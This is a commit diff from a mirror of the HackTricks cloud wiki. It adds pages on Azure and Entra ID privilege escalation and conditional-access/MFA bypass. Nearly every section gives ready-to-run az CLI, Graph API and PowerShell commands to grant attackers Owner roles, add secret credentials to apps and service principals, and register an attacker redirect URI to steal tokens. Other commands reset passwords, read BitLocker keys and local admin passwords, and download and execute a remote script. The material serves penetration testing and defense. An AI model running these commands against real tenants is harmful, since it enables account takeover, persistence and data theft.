mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
Migrate to using mdbook
This commit is contained in:
@@ -0,0 +1,2 @@
|
||||
# Az - Privilege Escalation
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
# Az - App Services Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
|
||||
- Direct option:
|
||||
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
## If successfull you will get a message such as:
|
||||
#Verifying if app is running....
|
||||
#App is running. Trying to establish tunnel connection...
|
||||
#Opening tunnel on port: 39895
|
||||
#SSH is available { username: root, password: Docker! }
|
||||
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,82 @@
|
||||
# Az - Azure IAM Privesc (Authorization)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Fore more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
|
||||
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
|
||||
|
||||
Create the file `role.json` with the following **content**:
|
||||
|
||||
```json
|
||||
{
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
}
|
||||
```
|
||||
|
||||
Then update the role permissions with the previous definition calling:
|
||||
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
|
||||
|
||||
> [!TIP]
|
||||
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
|
||||
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
|
||||
# Grant a user the Owner role
|
||||
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
|
||||
|
||||
Example command to give access to a repo in Github to the a managed identity:
|
||||
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
|
||||
# Example with specific data:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,357 @@
|
||||
# Az - EntraID Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Give role (Global Administrator?) to a user
|
||||
roleId="<roleId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
|
||||
- Add more permissions to a role:
|
||||
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Change the permissions of a custom role
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
|
||||
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
|
||||
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
|
||||
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad app owner list --id <appId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
|
||||
|
||||
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
|
||||
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
|
||||
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
|
||||
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
|
||||
|
||||
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
|
||||
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
|
||||
# Enable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
|
||||
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
user_or_group_id="<id>"
|
||||
username="<username>"
|
||||
password="<password>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
|
||||
|
||||
# Get credentials of a specific credID
|
||||
credID="<credID>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Groups
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
This permission allows to add users to privileged groups, leading to privilege escalation.
|
||||
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
|
||||
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
|
||||
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
|
||||
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Users
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
|
||||
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
managerUser="<userID>"
|
||||
az rest --method PUT \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
|
||||
#e.g. change department of a user
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Misconfigured conditional access policies requiring MFA could be bypassed, check:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
|
||||
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
|
||||
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
|
||||
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
|
||||
# Get credentials
|
||||
deviceLC="<deviceLCID>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
```
|
||||
|
||||
## BitlockerKeys
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
|
||||
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
|
||||
# Get key
|
||||
recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
|
||||
## Other Interesting permissions (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
- `microsoft.directory/applications.myOrganization/allProperties/update`
|
||||
- `microsoft.directory/applications/allProperties/update`
|
||||
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
|
||||
- `microsoft.directory/applications/appRoles/update`
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,181 @@
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
|
||||
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
|
||||
|
||||
Here are a couple of examples:
|
||||
|
||||
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
|
||||
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
|
||||
|
||||
## Conditional Acces Policies Bypasses
|
||||
|
||||
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
|
||||
|
||||
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
|
||||
|
||||
It's also needed to configure the **conditions** that will **trigger** the policy:
|
||||
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- To bypass login with a not selected option
|
||||
- **Filter for devices**: It’s possible to generate a rule related the used device
|
||||
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
|
||||
|
||||
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
|
||||
You can change the user agent **manually** in the developer tools:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
|
||||
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To try to bypass this protection you should see if you can **only into any application**.\
|
||||
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
|
||||
|
||||
In order to **test specific application IDs in specific resources** you could also use a tool such as:
|
||||
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
|
||||
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
|
||||
|
||||
## Other Az MFA Bypasses
|
||||
|
||||
### Ring tone
|
||||
|
||||
One Azure MFA option is to **receive a call in the configured phone number** where it will be asked the user to **send the char `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
|
||||
|
||||
### Compliant Devices
|
||||
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
||||
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
|
||||
Find more information about this kind of attack in the following page:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
This script get some user credentials and check if it can login in some applications.
|
||||
|
||||
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Get all the policies
|
||||
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
|
||||
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
|
||||
|
||||
> [!TIP]
|
||||
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
|
||||
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
|
||||
./ropci auth bulk -i apps.csv -o results.json
|
||||
```
|
||||
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Test each portal** if it's possible to **login without MFA**:
|
||||
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
|
||||
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
|
||||
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
|
||||
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
|
||||
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,50 @@
|
||||
# Az - Dynamic Groups Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
|
||||
|
||||
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
|
||||
|
||||
This feature requires Azure AD premium P1 license.
|
||||
|
||||
## Privesc
|
||||
|
||||
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
|
||||
|
||||
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
|
||||
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
|
||||
|
||||
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
